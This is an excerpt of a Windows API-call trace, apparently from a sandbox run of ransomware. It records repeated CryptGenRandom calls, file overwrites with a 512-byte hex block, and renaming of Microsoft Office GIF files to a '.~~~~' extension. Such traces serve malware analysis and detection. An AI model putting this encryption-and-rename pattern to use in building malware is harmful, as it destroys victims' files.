	[0130.326] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.326] CloseHandle (hObject=0x11c) returned 1
	[0130.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4310
	[0130.327] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif.~~~~")) returned 1
	[0130.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.329] GetLastError () returned 0x0
	[0130.329] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.331] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.331] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.331] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25032138861) returned 1
	[0130.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7216090, dwHighDateTime=0x1d60e1e)) 
	[0130.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822e98
	[0130.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822e98 | out: hHeap=0x300000) returned 1
	[0130.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2ee8
	[0130.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.332] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.332] GetLastError () returned 0x0
	[0130.333] GetLastError () returned 0x0
	[0130.333] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.333] GetLastError () returned 0x0
	[0130.333] GetLastError () returned 0x0
	[0130.336] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff778, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.336] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x888, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x888, lpOverlapped=0x0) returned 1
	[0130.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.339] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.339] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.339] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.339] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.339] CloseHandle (hObject=0x11c) returned 1
	[0130.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif.~~~~")) returned 1
	[0130.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.342] GetLastError () returned 0x0
	[0130.342] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.344] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.344] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.344] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25033402293) returned 1
	[0130.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7216090, dwHighDateTime=0x1d60e1e)) 
	[0130.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822ed0
	[0130.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822ed0 | out: hHeap=0x300000) returned 1
	[0130.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2f80
	[0130.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.345] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.345] GetLastError () returned 0x0
	[0130.345] GetLastError () returned 0x0
	[0130.345] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.346] GetLastError () returned 0x0
	[0130.346] GetLastError () returned 0x0
	[0130.490] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff515, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.490] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xaeb, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0xaeb, lpOverlapped=0x0) returned 1
	[0130.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.492] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.492] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.492] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.492] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.492] CloseHandle (hObject=0x11c) returned 1
	[0130.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.493] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif.~~~~")) returned 1
	[0130.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.494] GetLastError () returned 0x0
	[0130.495] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2a11c68) returned 1
	[0130.496] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0130.496] CryptReleaseContext (hProv=0x2a11c68, dwFlags=0x0) returned 1
	[0130.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0130.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.496] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25048635616) returned 1
	[0130.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7392e50, dwHighDateTime=0x1d60e1e)) 
	[0130.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823170
	[0130.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823170 | out: hHeap=0x300000) returned 1
	[0130.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3018
	[0130.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.497] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.497] GetLastError () returned 0x0
	[0130.498] GetLastError () returned 0x0
	[0130.498] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.498] GetLastError () returned 0x0
	[0130.498] GetLastError () returned 0x0
	[0130.529] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff8c3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.529] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x73d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x73d, lpOverlapped=0x0) returned 1
	[0130.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.531] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.531] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.532] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.532] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.532] CloseHandle (hObject=0x11c) returned 1
	[0130.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.532] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif.~~~~")) returned 1
	[0130.533] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.534] GetLastError () returned 0x0
	[0130.534] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2a11c68) returned 1
	[0130.535] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0130.535] CryptReleaseContext (hProv=0x2a11c68, dwFlags=0x0) returned 1
	[0130.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0130.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.535] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25052548256) returned 1
	[0130.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7405270, dwHighDateTime=0x1d60e1e)) 
	[0130.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823250
	[0130.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823250 | out: hHeap=0x300000) returned 1
	[0130.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3738
	[0130.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.536] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.536] GetLastError () returned 0x0
	[0130.537] GetLastError () returned 0x0
	[0130.537] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.537] GetLastError () returned 0x0
	[0130.537] GetLastError () returned 0x0
	[0130.538] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffea2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.538] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x15e, lpOverlapped=0x0) returned 1
	[0130.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.540] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.541] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.541] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.541] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.541] CloseHandle (hObject=0x11c) returned 1
	[0130.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.541] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif.~~~~")) returned 1
	[0130.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.543] GetLastError () returned 0x0
	[0130.554] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2a11c68) returned 1
	[0130.555] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0130.555] CryptReleaseContext (hProv=0x2a11c68, dwFlags=0x0) returned 1
	[0130.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0130.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.556] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25054566994) returned 1
	[0130.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb742b3d0, dwHighDateTime=0x1d60e1e)) 
	[0130.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28232f8
	[0130.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28232f8 | out: hHeap=0x300000) returned 1
	[0130.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3998
	[0130.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.556] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.557] GetLastError () returned 0x0
	[0130.557] GetLastError () returned 0x0
	[0130.557] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.557] GetLastError () returned 0x0
	[0130.557] GetLastError () returned 0x0
	[0130.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffc468, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.577] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3b98, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x3b98, lpOverlapped=0x0) returned 1
	[0130.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.580] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.580] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
